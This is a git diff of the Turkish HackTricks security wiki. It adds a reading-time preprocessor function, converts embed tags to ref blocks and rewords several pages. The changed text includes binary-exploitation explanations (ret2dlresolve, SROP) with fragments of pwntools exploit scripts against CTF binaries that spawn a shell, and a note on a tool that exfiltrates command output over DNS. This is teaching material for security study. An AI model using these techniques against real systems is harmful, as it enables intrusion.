diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index fedfdef99..b3186537d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -69,6 +69,12 @@ def ref(matchobj): return result +def add_read_time(content): + regex = r'(<\/style>\n# .*(?=\n))' + new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content) + return new_content + + def iterate_chapters(sections): if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section return @@ -99,6 +105,7 @@ if __name__ == '__main__': current_chapter = chapter regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}' new_content = re.sub(regex, ref, chapter['content']) + new_content = add_read_time(new_content) chapter['content'] = new_content content = json.dumps(book) diff --git a/src/README.md b/src/README.md index 098c45abf..75dcd0e94 100644 --- a/src/README.md +++ b/src/README.md @@ -1,15 +1,12 @@ # HackTricks -Okuma süresi: {{ #reading_time }} -
_Hacktricks logoları ve hareket tasarımı_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından yapılmıştır._ -> [!TIP] -> **CTF'lerden, gerçek yaşam uygulamalarından, araştırmaları okumaktan ve haberlerden öğrendiğim her hacking hilesini/tekniklerini/bir şeyleri bulacağınız wiki'ye hoş geldiniz.** +> [!TIP] > **CTF'lerden, gerçek yaşam uygulamalarından, araştırmaları okumaktan ve haberlerden öğrendiğim her hacking hilesini/tekniklerini/bir şeyleri bulacağınız wiki'ye hoş geldiniz.** -Başlamak için, **bir veya daha fazla makineyi pentest ederken** **takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin: +Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin: {{#ref}} generic-methodologies-and-resources/pentesting-methodology.md @@ -21,7 +18,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir, bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır. +[**STM Cyber**](https://www.stmcyber.com) **HACK THE UNHACKABLE** sloganına sahip harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir, bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır. **Bloglarını** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinde kontrol edebilirsiniz. @@ -33,9 +30,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır. +[**RootedCON**](https://www.rootedcon.com) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır. -{% embed url="https://www.rootedcon.com/" %} +{{#ref}} +https://www.rootedcon.com/ +{{#endref}} --- @@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md **Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.** -**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! +**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! -{% embed url="https://go.intigriti.com/hacktricks" %} +{{#ref}} +https://go.intigriti.com/hacktricks +{{#endref}} --- @@ -60,7 +61,9 @@ Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlar Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} --- @@ -74,7 +77,7 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke - **Gerçek Zamanlı Hack Haberleri:** Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın - **Son Duyurular:** Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun -**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla iş birliği yapmaya başlayın! +**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla iş birliği yapmaya başlayın! --- @@ -86,7 +89,9 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke **Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün. -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} +{{#ref}} +https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons +{{#endref}} --- @@ -94,14 +99,14 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
-**SerpApi**, **arama motoru sonuçlarına** hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır. +**SerpApi**, **arama motoru sonuçlarına** erişim sağlamak için hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır. -SerpApi'nın planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\ +SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla farklı API'ye erişim içerir.\ Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları, arama sonuçlarında bulunan tüm reklamları, satır içi resimleri ve videoları, bilgi grafiklerini ve diğer öğeleri ve özellikleri sürekli olarak içerir. Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\ -**Buradan** [**ücretsiz bir hesap oluşturabilirsiniz**](https://serpapi.com/users/sign_up)**.** +**Buradan** [**ücretsiz bir hesap**](https://serpapi.com/users/sign_up) oluşturabilirsiniz.** --- @@ -109,9 +114,11 @@ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın v
-Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve tersine mühendislik yapmak için gereken teknolojileri ve becerileri öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**: +Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve tersine mühendislik yapma yeteneklerini ve teknolojilerini öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**: -{% embed url="https://academy.8ksec.io/" %} +{{#ref}} +https://academy.8ksec.io/ +{{#endref}} --- @@ -119,15 +126,17 @@ Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırmas
-[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olmak için **saldırı güvenliği hizmetleri** sunmaktadır. +[**WebSec**](https://websec.nl) **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olmak için **ofansif güvenlik hizmetleri** sunmaktadır. -WebSec, **her şeyi yapan** bir **hepsi bir arada güvenlik şirketidir**; Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını yapmaktadır. +WebSec, pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını içeren **hepsi bir arada güvenlik şirketidir**. -WebSec'in bir diğer ilginç yanı, sektördeki ortalama ile karşılaştırıldığında WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! +WebSec'in diğer bir ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! -Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.** +Yukarıdakilere ek olarak WebSec, HackTricks'in de **kararlı bir destekçisidir.** -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} +{{#ref}} +https://www.youtube.com/watch?v=Zq2JycGDCPM +{{#endref}} ## Lisans & Feragatname diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index cfd7583bd..951cd216b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -8,16 +8,18 @@ **`_dl_runtime_resolve`** fonksiyonu, belirtilen sembolü **çözmek** için ihtiyaç duyduğu bazı yapıların yığın referanslarını alır. -Bu nedenle, dinamik bağlantılı çözümlemenin talep edilen sembolü (örneğin **`system`** fonksiyonu) çözmesini sağlamak için **tüm bu yapıları sahte hale getirmek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür. +Bu nedenle, dinamik bağlantılı çözümlemenin istenen sembolü (örneğin **`system`** fonksiyonu) çözmesi için **tüm bu yapıları sahtelemek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür. -Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır. +Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahtelenir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır. > [!TIP] -> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/)) ve libc adreslerini sızdırmanın yolları yoksa faydalıdır. +> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/) gibi teknikler kullanmak için) ve libc adreslerini sızdırmanın bir yolu yoksa faydalıdır. Bu teknik hakkında güzel bir açıklama için videonun ikinci yarısına bakın: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} Ya da adım adım açıklama için bu sayfalara göz atın: @@ -28,7 +30,7 @@ Ya da adım adım açıklama için bu sayfalara göz atın: 1. Bazı yerlerde sahte yapılar yazın 2. system'ın ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`) -3. **`_dl_runtime_resolve`** çağrısı için yığında yapıların adreslerini ayarlayın +3. **`_dl_runtime_resolve`** çağrısı için yapılarının adreslerini yığında ayarlayın 4. **Çağırın** `_dl_runtime_resolve` 5. **`system`** çözülecek ve `'/bin/sh'` argümanı ile çağrılacaktır @@ -186,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32bit, relro yok, canary yok, nx, pie yok, temel küçük buffer overflow ve dönüş. Bunu istismar etmek için bof, `read`'i tekrar çağırmak için kullanılır, `.bss` bölümünde daha büyük bir boyutla, `system`'ı yüklemek için `dlresolve` sahte tablolarını oraya depolamak için, ana fonksiyona geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için. +- 32bit, relro yok, canary yok, nx, pie yok, temel küçük tampon taşması ve dönüş. Bunu istismar etmek için, bof tekrar `read` çağrısı yapmak için kullanılır, `.bss` bölümünde ve daha büyük bir boyutta, `system` yüklemek için `dlresolve` sahte tablolarını oraya depolamak için, ana fonksiyona geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 5994e5165..9c49d2bd6 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -6,7 +6,7 @@ **`Sigreturn`**, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir **syscall**'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir **sinyal işleyici** kullanır. -Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler. +Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna devam etmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler. İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir. @@ -57,11 +57,13 @@ Eğer merak ediyorsanız, bu daha sonra değerleri geri almak için yığında s ``` Daha iyi bir açıklama için ayrıca kontrol edin: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## Örnek -[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısı ROP aracılığıyla oluşturulmuştur (rxa'ya `0xf` değeri konulmuştur), ancak buradan itibaren bu son istismar: +[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısının ROP aracılığıyla oluşturulduğu (rxa'ya `0xf` değeri yerleştirilerek) gösterilmektedir, ancak buradan itibaren son istismar budur: ```python from pwn import * @@ -88,7 +90,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -Ayrıca, ikili dosyanın zaten `sigreturn` çağırdığı ve bu nedenle bunun bir **ROP** ile inşa edilmesine gerek olmadığı [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kısmını kontrol edin: +Ayrıca [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kontrol edin, burada ikili dosya zaten `sigreturn` çağrıyordu ve bu nedenle bunu bir **ROP** ile inşa etmek gerekmez: ```python from pwn import * @@ -130,9 +132,9 @@ target.interactive() - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak mümkündür (ikili dosya `/bin/sh` dizesine sahiptir). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanan basit bir buffer overflow, [**ret2syscall**](../rop-syscall-execv/) gerçekleştiren gadget eksikliği ile. ROP zinciri, `.bss`'ye `/bin/sh` yazarak tekrar gets'i çağırır, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır. +- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanarak basit bir buffer overflow. [**ret2syscall**](../rop-syscall-execv/) gerçekleştiren gadget eksikliği. ROP zinciri, `gets`'i tekrar çağırarak `/bin/sh`'yi `.bss`'ye yazar, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı verir ve ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program ESP'ye tekrar okuma yapacak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçişi, onu bir sonraki talimat olarak yazacak ve çalıştıracaktır. +- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı verir, ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program ESP'ye tekrar okuma yapacak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçerek onu bir sonraki talimat olarak yazacak ve çalıştıracaktır. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - SROP, bir shellcode'un yerleştirildiği yere yürütme ayrıcalıkları (memprotect) vermek için kullanılır. diff --git a/src/burp-suite.md b/src/burp-suite.md index 2d3136061..08920f939 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -1,16 +1,18 @@ {{#include ./banners/hacktricks-training.md}} -# Temel Payloadlar +# Temel Yükler - **Basit Liste:** Her satırda bir giriş içeren bir liste - **Çalışma Zamanı Dosyası:** Çalışma zamanında okunan bir liste (belleğe yüklenmez). Büyük listeleri desteklemek için. -- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulamak (değişiklik yok, küçük harfe, BÜYÜK HARFE, Doğru isim - İlk harf büyük ve geri kalan küçük-, Doğru İsim - İlk harf büyük ve geri kalan aynı kalır-). -- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar üretmek. +- **Durum Değişikliği:** Bir dizi dize üzerinde bazı değişiklikler uygulama (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE çevir, Özel isim - İlk harf büyük, geri kalanı küçük-, Özel İsim - İlk harf büyük ve geri kalanı aynı kalır-). +- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar oluşturma. - **Kaba Kuvvet:** Karakter seti, minimum & maksimum uzunluk. -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı DNS istekleri aracılığıyla burpcollab'a almak için payload. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı burpcollab'a DNS istekleri aracılığıyla almak için yük. -{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} +{{#ref}} +https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e +{{#endref}} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 9f67521d2..fb60387a0 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -4,7 +4,7 @@ ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Daha fazla esoterik dil aramak için o wikiye göz atın +Daha fazla esoterik dil aramak için o wikiye göz atın. ## Malbolge ``` @@ -48,7 +48,9 @@ Take it to the top Whisper my world ``` -{% embed url="https://codewithrockstar.com/" %} +{{#ref}} +https://codewithrockstar.com/ +{{#endref}} ## PETOOH ``` diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index a013caaf7..af39b46e2 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -4,16 +4,16 @@ ## Saldırının Özeti -Bir sunucunun bazı bilinen düz metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hash'lediğini düşünün. Eğer şunları biliyorsanız: +Bir sunucunun bazı bilinen düz metin verilerine bir **gizli** ekleyerek **imza** attığını ve ardından bu veriyi **hash**lediğini hayal edin. Eğer şunları biliyorsanız: -- **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir) -- **Düz metin verisi** +- **Gizlinin uzunluğu** (bu, verilen bir uzunluk aralığından da brute force ile elde edilebilir) +- **Düz metin veri** - **Algoritma (ve bu saldırıya karşı savunmasız)** - **Padding biliniyor** - Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir - Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir -O zaman, bir **saldırgan** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**. +O zaman, bir **saldırgan** **veri** ekleyip **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**. ### Nasıl? @@ -29,7 +29,9 @@ Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir: ### **Araç** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ### Referanslar diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index 1e8531d1d..e29c241a2 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,11 +1,15 @@ {{#include ../banners/hacktricks-training.md}} -Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile şifrelenmiş herhangi bir içeriği (aynı şifreyi kullanarak) sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz. +Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, aynı şifreyi kullanarak o RC4 ile şifrelenmiş herhangi bir içeriği sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz. Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 5bf015305..8c80c2e93 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -2,7 +2,7 @@ # Saldırının Özeti -Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hash'lediğini düşünün. Eğer şunları biliyorsanız: +Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hashlediğini düşünün. Eğer şunları biliyorsanız: - **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir) - **Açık metin verisi** @@ -11,13 +11,13 @@ Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **im - Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir - Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir -O zaman, bir **saldırganın** **veri eklemesi** ve **önceki veri + eklenen veri** için geçerli bir **imza** **üretmesi** mümkündür. +O zaman, bir **saldırgan** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**. ## Nasıl? -Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hash'leyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hash'ler**. +Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hashleyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hashler**. -O zaman, gizlinin "secret" ve verinin "data" olduğunu hayal edin, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\ +O zaman, gizli "secret" ve veri "data" ise, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\ Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir: - 64 "A"nın MD5'ini oluştur @@ -27,10 +27,12 @@ Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir: ## **Araç** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ## Referanslar -Bu saldırıyı [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde iyi bir şekilde bulabilirsiniz. +Bu saldırıyı iyi bir şekilde açıklanmış olarak 